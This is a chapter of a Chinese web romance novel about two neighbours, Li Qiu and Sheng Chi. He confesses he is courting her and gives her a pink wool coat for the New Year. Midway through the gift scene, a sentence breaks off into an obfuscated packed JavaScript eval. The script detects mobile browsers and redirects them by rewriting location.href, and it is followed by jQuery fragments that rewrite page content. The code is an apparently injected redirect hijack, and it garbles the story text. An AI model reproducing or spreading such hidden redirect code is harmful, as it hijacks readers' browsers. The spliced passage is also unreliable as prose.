栗秋想，她可能大概也许真的真的对盛炽有别样的感情了。


    回到家已经十二点了，栗秋洗漱过后躺在床上，没打游戏也没刷手机，盯着天花板看。


    栗秋从不内耗，一直想不明白的事情就主动出击，翻身趴在床上，拿起搁在枕头边的手机，点开了和盛炽的聊天框。


    栗秋：【你是不是在追我？】


    等了十几分钟盛炽都没回消息，栗秋翻来覆去，心里嘀咕难道盛炽睡了吗？


    一想到这里又无端一股火气，这厮让她心烦意乱到睡不着，自己倒是倒头就睡作息良好了？


    大猪蹄子，混蛋！


    栗秋拉起被子捂住头，窝窝囊囊地在被子里生闷气，手机忽然“叮咚”一声，盛炽的消息提示音跟别人都不一样，她猛地拉下被子。


    盛炽：【刚才在洗漱，抱歉。】


    栗秋刚准备打字，又觉得这不太妥，秒回衬得她好像一直在等他的消息一样。


    她还没决断好，盛炽的第二条微信发了过来。


    【对，在追你。】


    栗秋的脸迅速升温，捧着手机的手抖了半天没打出一个字。


    兴许是见她这边不回话，盛炽又回道：【是想追你，但对你好不打着追求的目的，只因为你是栗秋。】


    栗秋在腰后垫了个靠枕靠坐在床头，这下终于肯回他微信了。


    【盛炽，你在做什么？】


    【准备睡觉。】


    栗秋：“？？？”


    她都睡不着，他怎么可以睡！


    聊天界面里弹出了栗秋爱用的“小猫白眼”表情包，盛炽越看越觉得这只小猫像栗秋，一样傲娇，但又可爱，他靠在床头给栗秋发了个张照片。


    栗秋：【什么？】


    盛炽：【冬季大三角，今晚刚看的你就忘了？】


    没等栗秋的回复发过来，盛炽又补充道：【吉祥星，寓意平安吉祥。】


    盛炽懂的东西确实很多，无论在生活还是学识上都相对博识，栗秋爬起来打开还没关机的电脑，搜了下怎么辨认冬季大三角，她学得也快，看了几眼就能认出来。


    栗秋将图片保存下来，用标注画出来那三颗星星发给了盛炽，后面跟了个表情包。


    栗秋：【小猫抬头jpg.】


    盛炽给她竖了个大拇指。


    栗秋的脸又不争气地红了，关上电脑躺上床。


    【我要睡了，白天要去外婆家。】


    栗秋关上手机甩到枕头边，听到嗡嗡震动两声，不用看都知道是盛炽发的微信，一定是道晚安。


    她背过身侧躺，盯着奶白的墙面发呆，屋里只开了一盏小猪模样的床头小夜灯，那盏夜灯也是盛炽送她的礼物，她看了会儿，忽然拉起被子蒙住头，在被窝里胡乱踢腾几下。


    讨厌的盛炽，害得她又要失眠了！


    -


    睡不着的不仅栗秋，盛炽的作息一向良好，基本十二点左右就睡了，今天熬到一点半也毫无睡意。


    他起身去客厅倒了杯温水，颀长的身影投射在地砖上，将半夜出来上洗手间的盛涛成吓了一跳。


    盛炽放下茶杯，淡声道：“爸，是我。”


    盛涛成拍了拍心口，压低声音道：“吓我一跳，你这孩子，晚上不睡在这里做什么？”


    盛炽道：“出来喝个水。”


    盛涛成看了看他，没多说，从洗手间出来，盛炽还杵在客厅，全家只有一盏壁灯开着，照亮他站着的那一小片区域。


    “也不知道白天吃了多少咸的，这会儿灌上水了。”盛涛成嘀咕两声，走到客厅拿起没剩多少水的养生壶，又重新接水烧了壶。


    盛炽回过神来，放下茶杯道：“我不喝了，刚才在想点事情。”


    盛涛成打了个哈欠，将茶水烧上，声音因为打哈欠有些含糊不清：“你这孩子，这两天怪怪的。”


    盛炽看着他，家里开了地暖，盛涛成穿着薄款睡衣倒是也不冷，还没睡醒，仍迷糊着。


    “回去睡吧，爸。”


    盛涛成靠在墙上打哈欠，斜他一眼说道：“对门那姑娘怎么样？”


    盛炽愣了下，反应过来他指的是谁，这称呼估计是严慧芬觉得好笑，跟盛涛成学了一嘴，盛炽倒是坦荡，点点头道：“很好，很可爱。”


    盛涛成伸手拍了拍他的肩膀，语重心长道：“儿子，追女孩就大大方方的，直接去说嘛。”


    盛炽刚喝了口茶，险些没被他老爸这一句话吓得呛住，别过头咳了几声。


    盛涛成赶忙轻拍他的背：“你看你这孩子，至于吗，去年我就觉得不太对劲，这个寒假你老去人家店里帮忙，我早就看出来了。”


    严慧芬还在睡觉，担心吵到她，父子两个说话音量都低了不少，彼此刚能听见的地步。


    “爸。”盛炽皱眉，“我们的事情自己解决，您和我妈别掺和。”


    盛涛成捶了他一拳：“本来也没打算掺和，跟你聊聊而已，你俩走到哪一步，以后都得一块儿回家过年，咋样都走不散。”


    实在太晚了，盛涛成又困，拍拍盛炽的肩膀叮嘱道：“早点睡吧，白天还得去你外婆家里。”


    盛炽等到水开，接了杯水回到屋里，两点多了也没睡意，手机搁在书桌上，聊天消息也停在他发的那句“晚安”，栗秋并没有回复。


    没想过盛涛成会看出来他对栗秋的心思，如果他看出来了，那么严慧芬估计也知道，两口子老爱聊些八卦，彼此都没秘密，这点事盛涛成不会揣着不和严慧芬说。


    盛炽靠进电脑椅中，脖颈枕着颈托，抬手搭在额头上，冷不丁地闷闷笑了声。


    盛涛成问他对门那姑娘怎么样？


    对门那姑娘可太好了，每天都能给人惊喜，说话做事都可可爱爱的，盛炽时常想，栗秋安静的时候，那小脑袋瓜里都在琢磨什么。


    不过盛涛成有句话倒是说得很对。


    不管他们走到哪一步，都得一起回家过年，这就是天大的缘分了。


    -


    大年初二，栗秋跟着爸妈去了外公外婆家。


    老两口也住得不远，栗秋到家跟他们拜了年，几个月没见，老两口想她想得紧，拉着东问西问，栗秋一整天几乎都在和他们聊天，嘴皮子都要磨出泡了。


    在外公外婆家待到下午，栗秋回家差不多也晚上八九点了，换了衣服扑到床上，捞起手机，盛炽的微信也弹了出来。


    【家里买了烧鸡，给你送一只，开门。】


    栗秋坐起来，跑到玄关处打开门，迎面撞上来一只……


    烧鸡。


    被油皮纸包裹的烧鸡还有温度，应该是刚买的，盛炽歪了歪头，探出脑袋看她：“吃晚饭了吗？”


    栗秋靠着门回道：“正准备吃呢，你吃了吗，要不要来我家吃？”


    “不用，家里昨天包的饺子还没吃完，我妈在煮了。”盛炽将烧鸡挂到她的手上。


    栗秋的手腕上还被挂了个袋子，她低头一看，是个粉色的礼品袋，很大，也挺沉的，不知道是什么东西。


    “这是什么？”


    栗秋刚要打开，盛炽抬手握住栗家的门把手，将栗秋往里轻轻一推，顺手带上了她家的门。


    “新年礼物，昨天出门没来得及送，现在拿给你，回去再拆吧，外头冷。”


    门被关上，隔绝了楼道内的冷空气，栗秋后知后觉反应过来，她只穿着薄卫衣，胳膊上鸡皮疙瘩起了一身，她搓搓胳膊，走到餐厅处将烧鸡放到桌上。


    “爸，妈，盛炽买的烧鸡，给咱们送了一只。”


    苏芝华和栗泽正准备晚饭，听了后赶忙拉开玻璃门出来。


    “小炽呢，咋不让他进来吃个饭？”


    栗秋道：“他们家做了饭，正煮着饺子呢。”


    栗家今晚吃的也是饺子，大年初一包的太多，今天又回来太晚，刚好就一起煮了吃，方便省事。


    栗秋进了卧室，关上门坐在书桌前，桌上放着盛炽送的新年礼物。


    两个人过年偶尔会送彼此新年礼物，并不昂贵，可能是个保温杯，又或者是双手套，一对毛茸耳挂，这就只是个新年祝福，俩人只有在送彼此生日礼物时才会精挑细选。


    栗秋十天前给盛炽准备的新年礼物现在还没发货，45天预售，估计得等开学才能拿到了，快递地址直接填了盛炽的大学。


    盛炽送的什么礼物，这么大一件？


    栗秋深呼吸了口气，将礼品盒从袋子中拿出来，盒子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204541|195398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上印的logo她也看不懂。


    打开前她想过可能是个彩妆大礼盒，又或者是个包包，再不济，盛炽没良心点，送她一套四级冲刺题，以前他也不是没干过这事，新年的时候送了栗秋一整套中考模拟题，气得栗秋追着他揍。


    想了一堆盛炽可能会送的东西，但盛炽送的不是彩妆，不是包包，也不是什么五三模拟题。


    是一件浅粉色毛呢大衣。


    栗秋看见大衣的时候是愣住的，盯着看了半天，寻思盛炽是不是将给他妈妈买的礼物送错了，他可从来没送过衣服。


    她拍照发给盛炽，扣了个问号的表情包。


    盛炽回得很快。


    【怎么了，不喜欢吗？】


    这下栗秋确定了，这就是送她的。


    这大衣明明用料柔软，随便折都毫无褶皱，她却觉得好像能扎人，让她坐立不安，站起来捧着手机在屋里转了几圈。


    盛炽：【试试合适不。】


    栗秋：【真是送我的？这大衣一看就很贵啊。】


    盛炽：【做家教赚了些钱，没事，新年礼物。】


    栗秋怎么能收呢，想了半天，琢磨出一个不伤盛炽感情的话术。


    【咱俩都是学生，你的钱赚得也不容易，退了吧，这太贵了，而且我有粉色的大衣。】


    盛炽：【退不了，商场实体店买的，出店只换不退。】


    栗秋：【……那要不你去换个同价位的男款，自己穿？】


    盛炽：【女装店。】


    栗秋无话可说了。


    似乎看出来她的不安，栗秋的聊天框内一直显示“对方正在输入中”，盛炽应当在打字，栗秋干脆坐到椅子上，捧着手机等他回信。


    过了一两分钟，盛炽发了一条长微信。


    【大衣是十二月初，我在苏城时候买的，去商场买东西时在店外瞧见它，很衬你，买完放进行李箱，寒假给你带了回来。栗秋，这不是追求你的手段，只是单纯想送你的新年礼物，我们之间不需要去衡量是否公平或值得，我也没有冲动消费，这是我做家教赚的钱，在我的能力范围内，且目前我承担得并不困难。】


    栗秋喉口哽得有些难受，盘腿坐在电脑椅中，将盛炽发来的那一段话来回看了几遍。


    兴许是长时间没得到她的回应，盛炽猜出来她估计在思想斗争，又给她发了微信。


    【试一试吧，你喜欢的话，我会很开心。】


    栗秋：“……”


    栗秋捂住脸，不用照镜子都知道自己这张脸能红成什么样子。


    果然是从小一起长大的，盛炽知道她会想什么，也知道怎么开解她。


    栗秋放下手机，将大衣取出来，长度到她的小腿处，圆形扣的大衣不会很成熟，适合栗秋这个年纪，也是她平时喜欢的风格，盛炽衣品不错，也是有些眼光的。


    很久没等到她的回信，盛炽坐在客厅沙发上，有一下没一下转着手机。


    盛涛成刚煮好饺子端出来，见自家儿子单手屈起托着侧脸，不知道在想些什么，似乎在发呆。


    “小炽，过来调个蘸料吃饭了。”


    盛炽回过神，应了声：“嗯，好。”


    他起身去厨房帮忙，弄完三个人的蘸料后洗了手，去沙发旁拿起搁在茶几上的手机，栗秋那个抽象的头像刚好弹了出来。


    栗秋：【图片。】


    栗秋：【合适的，喜欢，有眼光。】


    盛炽点开她发的照片，栗秋的手机挡住了脸。


    从沂岚大学回来没多久，某一个很平常的日子，盛炽做完今天的家教，去商场买东西时路过一家女装店铺，外头的玻璃橱窗内，模特身上的这件大衣剪裁合体，颜色也是栗秋的最爱，让他一瞬就想起了栗秋穿上会是什么样子。


    现在想象变成了现实，栗秋穿着果然好看。


    对面又发了条语音过来，盛炽弯唇点开，将话筒拿到耳朵旁。


    【昨天还没来得及亲口跟你说，新年快乐，盛炽。】


    盛炽抬手捂住眼睛，唇却控制不住地弯起。


    他点开又听了几遍，甜津津的声音对他说——


    新年快乐，盛炽。


    这个新年可太快乐了，盛炽觉得。